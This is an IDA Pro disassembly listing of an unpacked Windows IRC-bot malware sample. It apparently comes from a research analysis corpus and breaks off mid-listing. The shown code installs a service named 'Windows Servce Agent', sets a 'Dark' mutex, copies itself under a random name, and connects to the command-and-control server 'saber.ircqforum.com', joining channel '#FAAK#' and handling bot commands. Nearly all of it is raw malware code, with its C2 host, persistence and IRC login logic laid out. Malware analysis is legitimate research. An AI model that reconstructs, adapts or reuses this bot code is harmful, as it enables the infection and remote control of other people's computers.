; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8CC1D1C2BEDCDDA870D63EA128F9C337 ; File Name : u:\work\8cc1d1c2bedcdda870d63ea128f9c337_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB5D8 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB648 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB588 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB600 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E56C call dword_4CB6BC call sub_40B2BF call dword_4CB57C call dword_4CB57C mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D7D8 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2670B96h nop lea eax, [ebp+var_158] push esi push eax push edi call near ptr 2670000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2660ADCh test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D7D0 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CB360, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB364, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB6D0 push 7530h push offset aDark ; "Dark" push ebx push ebx call near ptr 2690000h nop push eax nop call near ptr 2680DC9h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB594 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2670B96h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2680D15h push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429A94 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429A8C push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2680C1Dh cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680B87h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 268082Fh cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2680000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2680B87h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D7D8 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2680812h push eax push esi push 100000h nop call near ptr 268032Dh lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429A80 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 2660ADCh nop test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2680000h push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB57C push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB944, 2 jle short loc_401562 mov eax, dword_4DB948 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi call near ptr 2680DC9h nop push esi call near ptr 2660843h nop mov eax, dword_4DB948 cmp [eax+8], ebx jz short loc_401562 push 7D0h call near ptr 2680000h nop mov eax, dword_4DB948 push dword ptr [eax+8] nop call near ptr 268026Ah loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB6F4, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A64 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D7E0 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A40 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E574[esi], eax jnz short loc_401622 nop call near ptr 268082Fh push eax lea eax, [ebp-0A0h] push offset unk_429A00 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_4299D4 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E574[esi], eax jnz short loc_40169A nop call near ptr 268082Fh push eax lea eax, [ebp-0A0h] push offset dword_4299A0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CB36C mov dword_4CB4D8, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB3EC push offset aFaak ; "#FAAK#" push edi mov dword_4CB4BC, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CB42C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CB4C0, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB368 mov dword_4CB4D4, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB4D4, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 2680000h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CB36C call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB4BC, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB36C call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB4BC, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB57C loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB624 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E578 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB6A4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E56C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB5CC cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB6BC call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2680000h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429A9C call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB6BC test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB4D0, bl jz short loc_40199A push offset byte_4CB4D0 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CB674 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB6BC push 1388h call near ptr 2680000h nop loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB63C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call near ptr 2680000h nop jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr 